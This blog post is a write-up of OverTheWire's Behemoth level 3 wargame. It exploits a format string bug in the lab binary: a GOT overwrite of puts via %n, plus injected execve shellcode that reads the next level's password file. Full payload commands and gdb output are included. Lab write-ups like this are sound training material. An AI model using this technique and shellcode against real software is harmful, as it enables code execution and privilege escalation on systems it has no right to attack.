OverTheWire.org - Behemoth - Level 3 Writeup

Let's start by running the executable:
behemoth3@behemoth:~$ /behemoth/behemoth3
Identify yourself: Guest
Welcome, Guest

aaaand goodbye again.

It asks to identify your self and then prints out a few messages.
The first one contains the input.

Let's look ad the code in gdb:
behemoth3@behemoth:~$   gdb /behemoth/behemoth3
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804847b <+0>:     push   %ebp
   0x0804847c <+1>:     mov    %esp,%ebp
   0x0804847e <+3>:     sub    $0xc8,%esp
   0x08048484 <+9>:     push   $0x8048560
   0x08048489 <+14>:    call   0x8048330 <printf@plt>
   0x0804848e <+19>:    add    $0x4,%esp
   0x08048491 <+22>:    mov    0x80497c0,%eax
   0x08048496 <+27>:    push   %eax
   0x08048497 <+28>:    push   $0xc8
   0x0804849c <+33>:    lea    -0xc8(%ebp),%eax
   0x080484a2 <+39>:    push   %eax
   0x080484a3 <+40>:    call   0x8048340 <fgets@plt>
   0x080484a8 <+45>:    add    $0xc,%esp
   0x080484ab <+48>:    push   $0x8048574
   0x080484b0 <+53>:    call   0x8048330 <printf@plt>
   0x080484b5 <+58>:    add    $0x4,%esp
   0x080484b8 <+61>:    lea    -0xc8(%ebp),%eax
   0x080484be <+67>:    push   %eax
   0x080484bf <+68>:    call   0x8048330 <printf@plt>
   0x080484c4 <+73>:    add    $0x4,%esp
   0x080484c7 <+76>:    push   $0x804857e
   0x080484cc <+81>:    call   0x8048350 <puts@plt>
   0x080484d1 <+86>:    add    $0x4,%esp
   0x080484d4 <+89>:    mov    $0x0,%eax
   0x080484d9 <+94>:    leave
   0x080484da <+95>:    ret
End of assembler dump.

There's a sequence of fgets(), printf(), and then puts()
The first printf() writes "Welcome, " followed by the input
Let's try if we can use a format string to trigger something:


behemoth3@behemoth:~$   /behemoth/behemoth3
Identify yourself: AAAA%x%x
Welcome, AAAA4141414178257825

aaaand goodbye again.

OK, we were able to use "%x%x", so we should be able to use %n to write arbitrary values in arbitraty memory location.

There are some options here:

  • overwrite return address of fgets with some shellcode we inject in the input 
  • overwrite a function address in the GOT table
The second is easier because GOT table entries are in fixed location.
While overwriting return address to the buffer can be more difficult and can require some brute forcing.

Using GOT overwrite tecnique, we can't select neither fgets(), because it is used for reading input, nor printf() because it is the function that executes the format string exploitation
behemoth3@behemoth:~$ objdump -R /behemoth/behemoth3

/behemoth/behemoth3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049794 R_386_GLOB_DAT    __gmon_start__
080497c0 R_386_COPY        stdin@@GLIBC_2.0
080497a4 R_386_JUMP_SLOT   printf@GLIBC_2.0
080497a8 R_386_JUMP_SLOT   fgets@GLIBC_2.0
080497ac R_386_JUMP_SLOT   puts@GLIBC_2.0
080497b0 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

Natural choice is therefore the final puts(): its GOT entry is stored at address 0x080497ac

So let's use an input sequence composed by:

  • 4 filling bytes ("AAAA")
  • 4 bytes with address to be overwritten (0x080497ac)
  • 60 bytes of NOP (to make the buffer location guess easier)
  • 23 bytes of real shellcode (execve("/bin//sh"))
  • format string to write a number at location specified at the beginnin
And save it to file:
python -c 'print "AAAA\xac\x97\x04\x08AAAA" + "\x90" * 60 + "SHELLCODEHERECCCCDD" + "%1000x%n"' >/tmp/b3a


Now run gdb and input the file to the vulnerable executable:

behemoth3@behemoth:~$ gdb /behemoth/behemoth3
(gdb) r < /tmp/b3a
Starting program: /behemoth/behemoth3 < /tmp/b3a
Identify yourself: Welcome, AAAA¦AAAA¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦SHELLCODEHERECCCCDD                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                41414141
...
Program received signal SIGSEGV, Segmentation fault.
0x00000443 in ?? ()
(gdb) info reg esp
esp            0xffffd5e8       0xffffd5e8
(gdb) x/40wx 0xffffd5e8
0xffffd5e8:     0x080484d1      0x0804857e      0x41414141      0x080497ac
0xffffd5f8:     0x41414141      0x90909090      0x90909090      0x90909090
0xffffd608:     0x90909090      0x90909090      0x90909090      0x90909090

Wow, we changed the execution flow of program by jumping to address 0x00000443
Note that 0x0443 is decimal 1091, which is equal to 4 + 4 + 60 +23 + 1000 (i.e. the lenght in bytes of the input string before the "%n")

And also the buffer we want to execute is stored around 0xffffd600

So now with a few calculation
behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "S"*23 + "%54729x%n%10707x%n"' >/tmp/b3a
behemoth3@behemoth:~$ gdb /behemoth/behemoth3
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
...

Program received signal SIGSEGV, Segmentation fault.
0xffffd678 in ?? ()
(gdb)

We were able to jump somewhere inside the NOP sled
Let's put a real shellcode and execute the vulnerable program with strace


behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%54729x%n%10707x%n"' >/tmp/b3a
behemoth3@behemoth:~$ strace /behemoth/behemoth3 < /tmp/b3a
 ...
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
strace: [ Process PID=19511 runs in 64 bit mode. ]
...
getcwd("/home/behemoth3", 4096)         = 16
ioctl(0, TCGETS, 0x7fffffffebb0)        = -1 ENOTTY (Inappropriate ioctl for device)

We can run /bin//sh but there is the same ioctl issue as in level 1
So let's create a script that dumps the password file and run it in the shellcode instead of running /bin//sh:

behemoth3@behemoth:~$ cat > /tmp/b-3
#!/bin/sh
/bin/cat /etc/behemoth_pass/behemoth4
^C
behemoth3@behemoth:~$ chmod +x  /tmp/b-3
behemoth3@behemoth:~$ python -c 'print "AAAA\xac\x97\x04\x08AAAA\xae\x97\x04\x08" + "\x90" * 60 + "\x31\xc0\x50\x68/b-3\x68/tmp\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "%54729x%n%10707x%n"' >/tmp/b3a
behemoth3@behemoth:~$ /behemoth/behemoth3 < /tmp/b3a
i*******i

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.